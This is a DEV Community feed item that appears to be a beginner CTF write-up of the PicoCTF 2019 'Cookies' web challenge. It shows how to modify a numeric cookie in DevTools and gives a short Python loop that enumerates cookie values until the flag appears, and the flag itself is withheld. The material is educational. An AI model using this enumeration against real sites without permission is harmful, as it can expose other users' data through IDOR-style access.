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    <title>DEV Community: CTFDojo</title>
    <description>The latest articles on DEV Community by CTFDojo (@ctfdojo).</description>
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      <title>PicoCTF Cookies Writeup — Full Walkthrough &amp; Flag</title>
      <dc:creator>CTFDojo</dc:creator>
      <pubDate>Sun, 06 Sep 2026 19:01:50 +0000</pubDate>
      <link>https://dev.to/ctfdojo/picoctf-cookies-writeup-full-walkthrough-flag-3e56</link>
      <guid>https://dev.to/ctfdojo/picoctf-cookies-writeup-full-walkthrough-flag-3e56</guid>
      <description>&lt;p&gt;&lt;em&gt;The site uses a &lt;code&gt;name&lt;/code&gt; cookie to display different types of cookies (the food). By enumerating values from 0 to 18 via DevTools, we find the flag at &lt;code&gt;name=18&lt;/code&gt;.&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Platform:&lt;/strong&gt; PicoCTF 2019&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Category:&lt;/strong&gt; Web Exploitation&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Points:&lt;/strong&gt; 150 pts&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Difficulty:&lt;/strong&gt; Beginner&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Technique:&lt;/strong&gt; HTTP cookie manipulation&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Challenge description
&lt;/h2&gt;

&lt;p&gt;The challenge presents a site themed around cookies (the food). The description reads:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;"Who doesn't love cookies? Try to figure out the best cookie! &lt;a href="http://2019shell1.picoctf.com:21485" rel="noopener noreferrer"&gt;http://2019shell1.picoctf.com:21485&lt;/a&gt;"&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;A form lets you search for a cookie type by name. The goal is to understand how the site handles its cookies client-side.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 1 — Reconnaissance
&lt;/h2&gt;

&lt;p&gt;We open the site and submit a search with the word &lt;code&gt;snickerdoodle&lt;/code&gt; (the default suggestion). The page displays: &lt;em&gt;"I love snickerdoodle cookies!"&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;We open DevTools (&lt;code&gt;F12&lt;/code&gt;) → &lt;strong&gt;Application&lt;/strong&gt; tab → &lt;strong&gt;Cookies&lt;/strong&gt;. We observe:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight properties"&gt;&lt;code&gt;&lt;span class="py"&gt;name&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The value is an integer. The site maps each cookie type to a numeric identifier.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 2 — Hypothesis
&lt;/h2&gt;

&lt;p&gt;If &lt;code&gt;name=0&lt;/code&gt; corresponds to "snickerdoodle", there are probably other values — or the flag. We enumerate. Two approaches:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Manual&lt;/strong&gt;: change the value in DevTools, reload&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Automated&lt;/strong&gt;: send requests in a loop with Python&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Step 3 — Manual test
&lt;/h2&gt;

&lt;p&gt;In DevTools → &lt;strong&gt;Application → Cookies&lt;/strong&gt;, we change &lt;code&gt;name&lt;/code&gt; to &lt;code&gt;1&lt;/code&gt; and reload. We keep incrementing:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;name=0  → snickerdoodle
name=1  → chocolate chip
name=2  → oatmeal raisin
name=3  → gingersnap
...
name=18 → [FLAG]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Step 4 — Automation with Python
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;

&lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;http://2019shell1.picoctf.com:21485/&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;cookies&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;name&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)}&lt;/span&gt;
    &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cookies&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;cookies&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;picoCTF&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[+] Flag found with name=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;start&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;find&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;picoCTF{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;end&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;find&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;start&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;start&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;end&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
        &lt;span class="k"&gt;break&lt;/span&gt;
    &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[-] name=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;: no flag&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[-] name=0: no flag
[-] name=1: no flag
...
[+] Flag found with name=18
picoCTF{***************************}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;🚩 picoCTF{ flag intentionally hidden }&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The flag is deliberately hidden — follow the method, you've earned it. 💪&lt;/p&gt;

&lt;h2&gt;
  
  
  Key takeaways
&lt;/h2&gt;

&lt;p&gt;This challenge illustrates a &lt;strong&gt;client-side access control&lt;/strong&gt; problem: the server trusts the value of a cookie without validating it. By manipulating &lt;code&gt;name&lt;/code&gt;, we access hidden content.&lt;/p&gt;

&lt;p&gt;In a real-world context, this type of vulnerability can expose other users' data (IDOR — Insecure Direct Object Reference) or administration endpoints.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Always inspect cookies as soon as a site loads personalized content&lt;/li&gt;
&lt;li&gt;Sequential identifiers (0, 1, 2...) are a classic red flag&lt;/li&gt;
&lt;li&gt;Automating enumeration with &lt;code&gt;requests&lt;/code&gt; is a basic web CTF skill&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;Originally published on &lt;a href="https://ctfdojo.com/writeups/picoctf-cookies-writeup.html" rel="noopener noreferrer"&gt;CTFdojo&lt;/a&gt; — join the &lt;a href="https://discord.gg/cvypGBQCBg" rel="noopener noreferrer"&gt;CTFdojo Discord&lt;/a&gt; to discuss writeups and get notified about new ones.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ctf</category>
      <category>security</category>
      <category>webdev</category>
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